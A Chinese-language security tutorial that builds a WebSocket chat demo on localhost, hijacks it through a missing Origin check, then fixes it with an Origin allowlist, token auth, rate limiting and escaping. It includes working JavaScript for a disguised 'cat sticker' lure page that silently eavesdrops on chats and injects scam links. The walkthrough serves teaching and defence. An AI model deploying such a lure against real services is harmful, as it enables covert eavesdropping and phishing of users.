WebSocket 跨域攻防实战:一个聊天室 Demo,从窃听到防御的全链路还原

一、先说结论

你在学安全时一定听过这句话:

"WebSocket 受浏览器同源策略保护,跨域请求会被拦截,所以安全。"

这句话是错的。 事实恰恰相反:

javascript 复制代码
// 这段代码放在任何域名的任何页面里,都能直接执行!
// evil.com、phish.com、attacker.com ------ 都能连接到你的 WebSocket 服务

const ws = new WebSocket("ws://your-chat-server.com/chat");
// ✅ 浏览器不会拦截
// ✅ 不会触发 CORS 预检(根本没有 OPTIONS 请求)
// ✅ 握手成功 → 攻击者进入聊天室

fetch() 不同,WebSocket 的跨域限制由服务端负责,而不是浏览器。如果服务端不校验 Origin 头,任何网站都可以连接进来------这就是本文要演示的核心攻击面。

本文会带着你从零构建一个 WebSocket 猫咪聊天室,然后亲手把它攻破,最后修好它。


二、先建一个聊天室

2.1 整体架构

复制代码
┌──────────────────────┐          ┌────────────────────────┐
│   浏览器 1 (正常用户)  │          │   Python WebSocket 服务   │
│   chat.html          │          │   server.py              │
│   Origin: localhost   │──ws──→  │   ws://0.0.0.0:8765/chat │
└──────────────────────┘          │                          │
                                  │   广播所有消息给全部客户端   │
┌──────────────────────┐          │                          │
│   浏览器 2 (正常用户)  │          │                          │
│   chat.html          │──ws──→  │                          │
│   Origin: localhost   │          └────────────────────────┘
└──────────────────────┘

一个 Python 异步服务端,多个浏览器客户端,广播聊天消息。纯 JSON 协议,三个消息类型:

json 复制代码
// 系统消息
{"type":"system","text":"用户abc123 加入了聊天室","time":"2026-06-29T16:53:17"}

// 聊天消息
{"type":"chat","nickname":"用户abc123","text":"你好啊","time":"2026-06-29T16:53:20"}

// 在线用户列表
{"type":"userlist","users":["用户abc123","用户def456"]}

2.2 服务端核心代码(Python)

服务端采用 websockets 库,单连接处理流程共 9 步:

复制代码
连接进来 → ①采集Origin → ②安全校验 → ③连接数检查 → ④注册客户端
         → ⑤速率限制 → ⑥长度限制 → ⑦HTML转义 → ⑧广播 → ⑨清理

关键代码段(完整源码见文末 GitHub 链接):

python 复制代码
# ── 安全模式配置 ──
SECURITY_MODE = "none"       # none | check | strict
ALLOWED_ORIGINS = {"http://localhost:8080", "http://127.0.0.1:8080"}

async def handle_connection(ws):
    # 1. 采集 Origin 头
    origin = ws.request.headers.get("Origin", "(无 Origin 头)")

    # 2. 安全模式校验
    if SECURITY_MODE == "strict" and origin not in ALLOWED_ORIGINS:
        await ws.close(4003, "跨域 WebSocket 连接被拒绝")
        return

    # 3. 注册客户端
    client = ChatClient(ws, origin, generate_id())
    connected_clients[client.id] = client

    # 4. 广播加入通知
    await broadcast(f"{client.nickname} 加入了聊天室")

    try:
        async for raw_message in ws:
            # 5. 速率限制(滑动窗口:每秒最多3条)
            if not client.check_rate_limit():
                await ws.send("⚠️ 发送过快")
                continue

            # 6. 长度限制(最大1024字节)
            if len(raw_message) > MAX_MSG_LENGTH:
                await ws.send("⚠️ 消息过长")
                continue

            # 7. HTML 实体转义(防 XSS)
            safe_text = html.escape(parse_message(raw_message), quote=True)

            # 8. 广播
            await broadcast_chat(client.nickname, safe_text)
    finally:
        # 9. 清理
        connected_clients.pop(client.id, None)
        await broadcast(f"{client.nickname} 离开了聊天室")

重点:默认 SECURITY_MODE = "none",就是为了演示不安全的起点。

2.3 客户端界面

复制代码
╔══════════════════════════╗
║  🐱 猫咪聊天室   在线: 2  ║
╠══════════════════════════╣
║                          ║
║  系统: 用户abc123 已连接   ║
║                          ║
║  ┌─────────────────┐     ║
║  │ 你好!今天天气不错  │     ║
║  └─────────────────┘     ║
║         ┌──────────────────────┐
║         │ 对啊,适合出去走走      │
║         └──────────────────────┘
║                          ║
╠══════════════════════════╣
║  [输入消息...]     [发送]  ║
║  🟢 已连接                ║
╚══════════════════════════╝

客户端用原生 JavaScript 实现,238 行代码,核心连接逻辑:

javascript 复制代码
const WS_URL = "ws://localhost:8765/chat";

function connect() {
  ws = new WebSocket(WS_URL);    // 浏览器不阻止跨域!

  ws.onopen = () => {
    // 连接成功,启用输入框
  };

  ws.onmessage = (event) => {
    const data = JSON.parse(event.data);
    if (data.type === "chat") {
      renderBubble(data.nickname, data.text);   // 渲染聊天气泡
    }
  };

  ws.onclose = () => {
    setTimeout(connect, 3000);   // 断线自动重连
  };
}

三、攻击:跨域窃听 + 消息注入

3.1 攻击页面的伪装

攻击页面 evil_cross_origin_attack.html 看起来是一个正常的"猫咪表情包下载站":

复制代码
╔══════════════════════════════════════════════╗
║  🐱 免费猫咪表情包                             ║
║  精选 100+ 超可爱猫咪表情,一键下载!            ║
╠══════════════════════════════════════════════╣
║                                              ║
║  ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐       ║
║  │  😺  │ │  😸  │ │  😹  │ │  😻  │       ║
║  │  #1  │ │  #2  │ │  #3  │ │  #4  │       ║
║  └──────┘ └──────┘ └──────┘ └──────┘       ║
║                                              ║
║         [⬇ 下载全部表情包]                     ║
╠══════════════════════════════════════════════╣
║  👁️ 攻击者控制台 --- 跨域 WebSocket 窃听中...    ║
║  ═══════════════════════════════════════════  ║
║  [14:42:20] 🚀 发起跨域攻击: evil.com → ws    ║
║  [14:42:21] ✅ 连接成功!Origin 校验被绕过!    ║
║  [14:42:22] 📩 [窃听] 用户abc: 老板PPT发一下   ║
║  [14:42:23] 📩 [窃听] 用户def: 好的,马上发     ║
║  [14:42:25] 🎣 [注入] 已发送钓鱼链接!          ║
╚══════════════════════════════════════════════╝

上半部分是"猫咪表情下载"的伪装界面,下半部分是攻击者控制台------两者在同一条页面上同时运行

3.2 攻击核心代码

javascript 复制代码
// 攻击页面 (托管在 evil.com 或任何不同于聊天室的域名)
const TARGET_WS = "ws://localhost:8765/chat";

function launchCrossOriginAttack() {
  // ⚠️ 浏览器完全不阻止这个跨域 WebSocket 连接!
  // 与 fetch() / XHR 不同,WebSocket 没有 CORS 预检!
  evilWS = new WebSocket(TARGET_WS);

  evilWS.onopen = () => {
    // 连接成功 --- 攻击者现在可以:
    // 1. 接收所有聊天广播消息(窃听)
    // 2. 发送任意消息(注入)
  };

  evilWS.onmessage = (event) => {
    const data = JSON.parse(event.data);
    if (data.type === "chat") {
      // 实时窃听所有聊天内容
      stolenMessages.push({
        nick: data.nickname,
        text: data.text,
        time: data.time
      });
      evilLog(`📩 [窃听] ${data.nickname}: ${data.text}`);
    }
  };
}

// 每隔 15 秒自动注入一条钓鱼/诈骗消息
setInterval(() => {
  const ads = [
    "低价出 ChatGPT Plus 账号,加 V: hacker666",
    "兼职日入 500+,点击 http://scam.example.com 了解",
    "推荐一个超好用的梯子: http://vpn-scam.example.com",
  ];
  evilWS.send(JSON.stringify({ text: ads[Math.floor(Math.random() * ads.length)] }));
}, 15000);

3.3 完整攻击链

复制代码
┌─────────────────────────────────────────────────────────────┐
│                      攻击时间线                               │
├──────────┬──────────────────────────────────────────────────┤
│  T+0s    │ 用户访问 evil.html(以为是猫咪表情包下载站)        │
│  T+0.5s  │ evil.html 静默创建 WebSocket → 聊天室              │
│          │ 浏览器不阻止。Origin 头由 evil.com 自动设置         │
│  T+1s    │ 握手成功。攻击者可以接收所有广播消息                 │
│  T+1s~   │ 持续窃听:每一条聊天记录都被推送给攻击者             │
│  T+5s    │ 首次注入:向聊天室发送钓鱼链接                      │
│  T+15s   │ 定时注入:每 15 秒一条诈骗广告                      │
│          │ 受害者完全无感知------聊天室看起来一切正常               │
└──────────┴──────────────────────────────────────────────────┘

3.4 不仅如此:更危险的 CSWSH

如果聊天室使用 Cookie/Session 鉴权 (而不是 URL Token),攻击升级为 CSWSH(Cross-Site WebSocket Hijacking)

复制代码
正常流程:
  用户登录 chat.com → 浏览器保存 Session Cookie
  → 用户打开 chat.com/chat → WebSocket 握手自动携带 Cookie
  → 服务端看到有效 Session → 连接成功

CSWSH 攻击:
  用户已登录 chat.com(Cookie 有效)
  → 用户被诱导打开 evil.com(猫咪表情包)
  → evil.com 创建 new WebSocket("wss://chat.com/ws")
  → 浏览器自动在握手中携带 chat.com 的 Cookie!(旧版浏览器/部分 WebView)
  → 服务端以为这是已登录的合法用户
  → 攻击者以受害者身份进入聊天室
  → 攻击者发送的任何消息都以受害者名义出现

CSWSH 和 CSRF 的本质相同------利用浏览器自动携带凭据的机制发起伪造请求。区别在于 WebSocket 没有同源策略的保护伞。


四、防御:四层防线

4.1 防线一:Origin 白名单(基础)

server.py 中改一行配置:

python 复制代码
# 修改前(不安全)
SECURITY_MODE = "none"

# 修改后(基础防线)
SECURITY_MODE = "strict"
ALLOWED_ORIGINS = {"http://localhost:8080", "http://127.0.0.1:8080"}

防御原理:

复制代码
正常用户请求:
  GET /chat HTTP/1.1
  Origin: http://localhost:8080     ← 在白名单中 → ✅ 通过

攻击者请求:
  GET /chat HTTP/1.1
  Origin: http://evil.com:8080      ← 不在白名单中 → ❌ 403 拒绝

代码层面:

python 复制代码
if SECURITY_MODE == "strict" and origin not in ALLOWED_ORIGINS:
    log.warning(f"[拒绝] 非法 Origin={origin}")
    await ws.close(4003, "跨域 WebSocket 连接被拒绝 (Origin 不在白名单)")
    return

能防:浏览器端 CSWSH 攻击(evil.html 发出的 Origin 就是 evil.com 的真实 Origin,JS 不可篡改)。

不能防:非浏览器客户端(curl / Python 脚本)可以伪造任意 Origin 头。

4.2 防线二:Token 鉴权(推荐组合)

python 复制代码
# 客户端连接时携带 JWT Token
# ws://host:8765/chat?token=eyJhbGciOi...

async def handle_connection(ws):
    # 1. 提取 Token
    token = extract_token(ws.request.path)

    # 2. 验证 Token(主防线)
    user = verify_jwt(token)
    if not user:
        await ws.close(4003, "Unauthorized")
        return

    # 3. Origin 校验(纵深防线)
    origin = ws.request.headers.get("Origin", "")
    if origin not in ALLOWED_ORIGINS:
        await ws.close(4003, "Bad Origin")
        return

攻击者无法获取合法用户的 JWT Token(无法跨域读取页面内容),所以即使绕过了 Origin,也无法通过 Token 验证。

4.3 防线三:速率限制 + 连接数限制

python 复制代码
MAX_MSG_PER_SEC = 1          # 每秒最多 1 条消息(防止刷屏注入)
MAX_MSG_LENGTH = 1024        # 单条消息最长 1024 字节
MAX_CONNECTIONS = 30         # 全局最大连接数(防止连接耗尽)

# 滑动窗口限流
def check_rate_limit(self):
    now = time.time()
    self.msg_timestamps = [t for t in self.msg_timestamps if now - t < 1.0]
    return len(self.msg_timestamps) < MAX_MSG_PER_SEC

4.4 防线四:输入转义(防 XSS)

python 复制代码
# 服务端对所有用户输入做 HTML 实体转义
safe_text = html.escape(text, quote=True)

# 输入: <script>alert(1)</script>
# 输出: &lt;script&gt;alert(1)&lt;/script&gt;
# 即使前端用 innerHTML 渲染,也不会执行

4.5 防御效果对比

复制代码
┌─────────────────────┬──────────┬──────────┬──────────┐
│      防御方案        │ 防CSWSH  │ 防伪造   │ 实现成本  │
├─────────────────────┼──────────┼──────────┼──────────┤
│ Origin 白名单       │   ✅     │   ❌     │  低      │
│ Token 鉴权          │   ✅     │   ✅     │  中      │
│ CSRF Token          │   ✅     │   ✅     │  中      │
│ 子协议协商           │   △     │   △     │  低      │
│ 连接指纹 + 行为检测  │   △     │   △     │  高      │
├─────────────────────┼──────────┼──────────┼──────────┤
│ 🏆 推荐组合          │          │          │          │
│ Token + Origin      │   ✅     │   ✅     │  中      │
└─────────────────────┴──────────┴──────────┴──────────┘

五、动手实验

5.1 环境准备

bash 复制代码
# 安装依赖
pip install websockets

# 项目文件结构
websocket_chat_demo/
├── server.py                         # WebSocket 聊天服务
├── chat.html                         # 正常聊天客户端
├── evil_cross_origin_attack.html     # 跨域攻击页面
└── WebSocket跨域安全深度分析.md        # 完整分析报告

5.2 启动服务

bash 复制代码
# 终端 1:启动 WebSocket 聊天服务(默认不校验 Origin)
cd websocket_chat_demo
python server.py
# 输出:🟢 WebSocket 聊天服务器启动 ws://0.0.0.0:8765/chat
# 输出:⚠️  Origin 检查: 关闭 - 任何网站都可以连进来!

# 终端 2:启动 HTTP 静态文件服务
cd websocket_chat_demo
python -m http.server 8081

5.3 正常使用

浏览器打开 http://localhost:8081/chat.html,看到:

复制代码
🟢 已连接
系统:用户abc123 加入了聊天室

在输入框打字、回车发送,一切正常。

5.4 发起攻击

浏览器(新标签页)打开 http://localhost:8081/evil_cross_origin_attack.html,页面底部出现攻击者控制台:

复制代码
[*] 页面加载完成,开始跨域 WebSocket 攻击...
🚀 发起跨域攻击: 从 http://localhost:8081 → ws://localhost:8765/chat
✅ 跨域 WebSocket 连接成功!Origin 校验被绕过!
💀 现在可以: 窃听消息 / 伪造身份 / 注入恶意内容

切回第一个标签页(正常聊天室),发送一条消息"测试消息"。

切回第二个标签页(evil 页面),控制台赫然显示:

复制代码
📩 [窃听] 用户abc123: 测试消息

5 秒后,evil 页面自动注入第一条钓鱼消息。切回聊天室:

复制代码
🐱 猫咪聊天室

系统:用户abc123 加入了聊天室
用户abc123:测试消息
用户def456:大家好!我发现一个超好用的免费 ChatGPT 镜像...
            ← 这是攻击者自动注入的钓鱼消息!

5.5 开启防御

bash 复制代码
# 停止 server.py (Ctrl+C)

# 修改 server.py 中的配置:
SECURITY_MODE = "strict"

# 重新启动
python server.py
# 输出:✅ Origin 白名单: {'http://localhost:8081', 'http://127.0.0.1:8081'}

刷新 evil 页面,攻击者控制台显示:

复制代码
❌ WebSocket 错误(可能服务器开启了 Origin 校验)

聊天室不受影响------正常用户的 Origin 在白名单中。


六、总结

三个核心事实

  1. WebSocket 不受浏览器同源策略保护 ------ 这是协议设计行为,不是浏览器 Bug。new WebSocket("ws://target.com") 在任何页面上都能执行。

  2. Origin 头由浏览器设置,但由服务端校验 ------ 浏览器负责写 Origin(不能被 JS 篡改),服务端负责读 Origin 并做判断。如果服务端不读,这道防线不存在。

  3. Origin 校验是必要不充分条件 ------ 能防住浏览器端的 CSWSH,但防不住非浏览器客户端伪造 Origin。生产环境必须 Origin + Token 双验证

Demo 三种模式的安全等级

复制代码
🔴 none   --- 完全裸奔,任何域名的页面都能连,不打印任何日志
🟡 check  --- 记录 Origin 日志但不阻断(监控模式,适合攻击溯源)
🟢 strict --- 白名单校验,浏览器端跨域被阻断

🟢🟢 生产级 --- Origin 白名单 + Token 鉴权 + 速率限制 + 输入转义

写在最后

WebSocket 是一个很好用的协议------全双工、低开销、原生支持。但它的安全模型和 HTTP 完全不同:没有 CORS 保护、没有浏览器端同源策略、服务端不校验 Origin 就等同于没有门禁。

下次你用 WebSocket 写实时通信功能时,花 5 分钟检查三件事:

  1. 服务端读 Origin 头了吗?
  2. 鉴权不依赖 Cookie 了吗?
  3. 用户输入做了 HTML 转义了吗?

这三问的回答决定了你的 WebSocket 服务是一个安全的聊天室,还是一个开放给所有攻击者的窃听器。


完整源码

本文涉及的全部代码(服务端 / 客户端 / 攻击页面 / 分析报告)见项目目录 https://gitee.com/yana768/websocket_chat_demo

参考资料